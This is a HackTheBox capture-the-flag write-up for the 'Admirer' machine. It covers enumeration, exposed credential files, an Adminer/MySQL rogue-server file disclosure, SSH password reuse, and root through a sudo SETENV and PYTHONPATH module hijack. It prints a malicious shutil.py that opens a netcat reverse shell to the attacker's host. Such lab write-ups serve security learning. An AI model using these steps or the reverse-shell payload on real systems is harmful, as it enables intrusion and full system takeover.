Admirer Writeup (HackTheBox)

Admirer Writeup (HackTheBox)

2020, May 22    

Enumeration

Port Scan

Starting off with an nmap scan:

root@kali:~/Documents/HackTheBox/Admirer# nmap -Pn -sS -p1-10000 -T4 -sV 10.10.10.187 -v
...
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))

Anonymous FTP

First, I tried an Anonymous FTP login, but no luck.

root@kali:~/Documents/HackTheBox/Admirer# ftp 10.10.10.187
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:root): Anonymous
530 Permission denied.
Login failed.

Web

Next, I tried poking around the website, and tried for the common path of robots.txt. Here’s what I found:

User-agent: *

# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir

As expected, visiting http://10.10.10.187/admin-dir/ gave me a 403 Forbidden error. However, just because we can’t list the directory doesn’t mean that we can’t access the files within the directory (remember Nest?). I used wfuzz to scan for any TXT files with common names in the admin-dir directory. As if the robots.txt file was a hint as to what I would find, here are the results:

root@kali:~/Documents/HackTheBox/Admirer# wfuzz -u http://10.10.10.187/admin-dir/FUZZ.txt -w /usr/share/seclists/Discovery/Web-Content/big.txt --sc 200
...
000005198:   200        29 L     39 W     350 Ch      "contacts"                           
000005443:   200        11 L     13 W     136 Ch      "credentials"   
...

And the contents of said files:

root@kali:~/Documents/HackTheBox/Admirer# cat contacts.txt
##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb


##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb

# Amy
Email: a.bialik@admirer.htb

# Leonard
Email: l.galecki@admirer.htb

#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb

# Bernadette
Email: b.rauch@admirer.htb

root@kali:~/Documents/HackTheBox/Admirer# cat credentials.txt
[Internal mail account]
w.cooper@admirer.htb
f********P

[FTP account]
ftpuser
%********7

[Wordpress account]
admin
w********!

Back to FTP

With these credentials, I re-visited the FTP server as ftpuser:

root@kali:~/Documents/HackTheBox/Admirer# ftp 10.10.10.187
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:root): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0            3405 Dec 02 21:24 dump.sql
-rw-r--r--    1 0        0         5270987 Dec 03 21:20 html.tar.gz
226 Directory send OK.
ftp> get dump.sql
local: dump.sql remote: dump.sql
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for dump.sql (3405 bytes).
226 Transfer complete.
ftp> get html.tar.gz
local: html.tar.gz remote: html.tar.gz
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes).
226 Transfer complete.

After poking around in here, I found some things that could be of interest.

root@kali:~/Documents/HackTheBox/Admirer# ls -alR
...
./utility-scripts:
total 24
drwxr-x--- 2 root www-data 4096 Dec  2 12:50 .
drwxr-xr-x 6 root root     4096 May 21 00:15 ..
-rw-r----- 1 root www-data 1795 Dec  2 12:48 admin_tasks.php
-rw-r----- 1 root www-data  401 Dec  1 17:28 db_admin.php
-rw-r----- 1 root www-data   20 Nov 29 14:32 info.php
-rw-r----- 1 root www-data   53 Dec  2 12:40 phptest.php
...
./w4ld0s_s3cr3t_d1r:
total 16
drwxr-x--- 2 root www-data 4096 Dec  2 12:25 .
drwxr-xr-x 6 root root     4096 May 21 00:15 ..
-rw-r----- 1 root www-data  350 Dec  2 12:25 contacts.txt
-rw-r----- 1 root www-data  175 Dec  2 02:24 credentials.txt
...

The first was an administrative tasks script that could be found at http://10.10.10.187/utility-scripts/admin_tasks. However, all I learned from this was that the script was running as www-data. The next thing I wanted to access was db_admin.php but unfortunately that didn’t exist on the live server anymore (but I did manage to get some credentials from the file). And finally, this is something I wouldn’t have checked at first because I would’ve made an assumption that it was boring, but index.php. The only reason I checked this file was because the sql.dump file from the FTP server contained all the pictures on the homepage, which to me indicated there may be database connection credentials in index.php (which there were).

Adminer

At this point, I was swimming in usernames and passwords, so I made myself two files: one containing all possible usernames, and the other all passwords.

root@kali:~/Documents/HackTheBox/Admirer# cat users 
p.wise
penny
r.nayyar
rajesh
amy
a.bialik
leonard
l.galecki
howard
h.helberg
bernadette
b.rauch
waldo.11
w.cooper
ftpuser
admin
waldo
root@kali:~/Documents/HackTheBox/Admirer# cat passwords 
E********$
f********P
%********7
w********!
W********?
]********b

Unsure of where to go next, I ran these files through auxiliary/scanner/ssh/ssh_login in msfconsole’. While ftpuser did work over SSH, the connection immediately tore itself down.

Thinking I may have missed something in one of these new directories (since they were from a backup after all), I used wfuzz again. Since I was looking in the utility-scripts directory which contained all PHP files, I chose to look for more PHP files.

root@kali:~/Documents/HackTheBox/Admirer/html# wfuzz -u http://10.10.10.187/utility-scripts/FUZZ.php -w /usr/share/seclists/Discovery/Web-Content/big.txt --sc 200
...
===================================================================
ID           Response   Lines    Word     Chars       Payload                                       
===================================================================

000001873:   200        51 L     235 W    4157 Ch     "adminer"                                     
000009618:   200        964 L    4976 W   84022 Ch    "info"                                        
000013868:   200        0 L      8 W      32 Ch       "phptest"                           ...

Look at that - a script called admiNer on the box called admiRer… Probably not a coincidence. At this point I could’ve tried bruteforcing the login screen, but I figured this box was more nuanced than that, so after trying a few of the relevant database credentials from the FTP dump, I turned to Google for any known vulnerabilities with this sofware.

image-20200521112924829

User

As it turns out, there is a file disclosure vulnerability that is attributed to Adminer v4.6.2, but it was later determined to be a “protocol flaw in MySQL”. Essentially, the vulnerability is that an attacker can use an Adminer page to connect to a MySQL server that the attacker controls. Then, the server would send a packet back to the Adminer client asking it for the contents of a local file (as part of the LOAD DATA LOCAL INFILE process). The Adminer client would then send these contents (if it has access to the file).

While I could setup my own MySQL server to do all this, there is a convenient Python script here which does exactly this process. Upon receiving any SQL query, it responds with the packet asking for the local file. Now the only question was which file I should access. To start off with something small that Adminer probably had access to, I decided to look for index.php. Best case scenario, I would get new credentials (since the ones I had were from a backup), and worst case I could validate whether this technique was even working. Based on the fact that this was an Apache server, I guessed that the correct path would be /var/www/html/index.php, so I modified the rogue_mysql_server.py file from Github.

image-20200521151200474

After starting the server and verifying that it was listening, I started a connection attempt via the Adminer page.

root@kali:~/Documents/HackTheBox/Admirer# ss -ntlp4
State    Recv-Q   Send-Q     Local Address:Port       Peer Address:Port   Process                              
LISTEN   0        5                0.0.0.0:3306            0.0.0.0:*       users:(("python",pid=20369,fd=5))

image-20200521151434669

And sure enough, it worked - with the contents showing up in the mysql.log file generated by the Python script.

image-20200521151602394

We even got a new set of credentials - waldo / &**>** for admirerdb. But of course, humans are lazy and sometime re-use passwords, right? I wondered if I could use these credentials for SSH…

root@kali:~/Documents/HackTheBox/Admirer# ssh waldo@10.10.10.187
waldo@10.10.10.187's password: 
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux
...
Last login: Thu May 21 19:49:38 2020 from 10.10.15.206
waldo@admirer:~$ cat user.txt
...

I could, so I grabbed the flag and proceeded to work on root.

Privilege Escalation

One of the first checks I did was to see if waldo could sudo.

waldo@admirer:~$ sudo -l
[sudo] password for waldo: 
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh

Of course… I knew that administrative tasks script would make a re-appearance!


Sudo and Environment Variables

What’s interesting about this line is the SETENV - I’d never seen that before. It turns out that when calling sudo, it uses a minimal set of predefined environment variables. This can be seen in the following interaction (with variable A):

kali@kali:/$ env | sort
A=4
HOME=/
HUSHLOGIN=FALSE
LANG=en_US.UTF-8
LOGNAME=kali
MAIL=/var/mail/kali
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
PWD=/
SHELL=/bin/bash
SHLVL=0
TERM=xterm-256color
USER=kali
_=/usr/bin/env
kali@kali:/$ sudo env | sort
HOME=/root
LANG=en_US.UTF-8
LOGNAME=root
MAIL=/var/mail/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SHELL=/bin/bash
SUDO_COMMAND=/usr/bin/env
SUDO_GID=1000
SUDO_UID=1000
SUDO_USER=kali
TERM=xterm-256color
USER=root

However, the -E flag allows users to preserve the environment variables as they are in the current shell, meaning the subsequent command will be operating using the same variables.

kali@kali:/$ sudo -E env | sort
A=4
HOME=/
HUSHLOGIN=FALSE
LANG=en_US.UTF-8
LOGNAME=root
MAIL=/var/mail/kali
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD=/
SHELL=/bin/bash
SHLVL=0
SUDO_COMMAND=/usr/bin/env
SUDO_GID=1000
SUDO_UID=1000
SUDO_USER=kali
TERM=xterm-256color
USER=root
_=/usr/bin/sudo

But, when specifying individual commands in the sudoers file, the special SETENV directive is required, as demonstrated below.

kali@kali:/$ sudo -l
Matching Defaults entries for kali on kali:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User kali may run the following commands on kali:
    (ALL) /usr/bin/env

kali@kali:/$ env | sort
A=4
HOME=/
HUSHLOGIN=FALSE
LANG=en_US.UTF-8
LOGNAME=kali
MAIL=/var/mail/kali
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
PWD=/
SHELL=/bin/bash
SHLVL=0
TERM=xterm-256color
USER=kali
_=/usr/bin/env

kali@kali:/$ sudo env
LANG=en_US.UTF-8
TERM=xterm-256color
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MAIL=/var/mail/root
LOGNAME=root
USER=root
HOME=/root
SHELL=/bin/bash
SUDO_COMMAND=/usr/bin/env
SUDO_USER=kali
SUDO_UID=1000
SUDO_GID=1000

kali@kali:/$ sudo -E env
sudo: sorry, you are not allowed to preserve the environment

kali@kali:/$ sudo A=4 env
sudo: sorry, you are not allowed to set the following environment variables: A


kali@kali:/$ sudo -l
Matching Defaults entries for kali on kali:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User kali may run the following commands on kali:
    (ALL) SETENV: /usr/bin/env

kali@kali:/$ env | sort
A=4
...

kali@kali:/$ sudo -E env | sort
A=4
...

kali@kali:/$ sudo A=5 env | sort
A=5
...

In the contents of the script, everything looked pretty standard - calling regular system binaries such as cp and chown and chmod. However, one snippet in particular caught my eye

waldo@admirer:/tmp/parsnips$ cat /opt/scripts/admin_tasks.sh 
#!/bin/bash
...
backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
    else
        echo "Insufficient privileges to perform the selected operation."
     fi
}
...

This was calling a custom Python script we could access - and it would be run as root since we’ll be using this script with sudo.

waldo@admirer:/tmp/parsnips$ cat /opt/scripts/backup.py 
#!/usr/bin/python3

from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

But, at first glance the script looks super simple with no real opportunities for us. However, the SETENV permission we have actually helps us out a lot.


Python Modules

When searching for modules to import (such as shutil above), Python utilizes the idea of PATH environment variables, similar to how Unix searchs for binaries. One of these variables is called PYTHONPATH (documented here). This variable can contain directories that Python should search for modules in, and PYTHONPATH directories will always be searched first, before those in PYTHONHOME and the default Python locations. How does this help us?


Since the script is importing a function called make_archive from a module called shutil, we could make our own shutil.py file, and define our own make_archive function which takes 3 arguments, like so:

waldo@admirer:/tmp/parsnips$ cat shutil.py
import os
def make_archive(x,y,z):
        os.system("nc 10.10.14.252 4567 -e /bin/sh")

Then, after spawing a netcat listener on port 4567, we run the script as sudo.

waldo@admirer:/tmp/parsnips$ sudo PYTHONPATH=/tmp/parsnips /opt/scripts/admin_tasks.sh 6
[sudo] password for waldo: 
Running backup script in the background, it might take a while...

And back at our listener:

root@kali:~/Documents/HackTheBox/Admirer$ nc -nlvp 4567
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4567
Ncat: Listening on 0.0.0.0:4567
Ncat: Connection from 10.10.10.187.
Ncat: Connection from 10.10.10.187:36224.
$ whoami
root
$ cat /root/root.txt
...

Grab the flag and don’t forget clean up the temporary directory!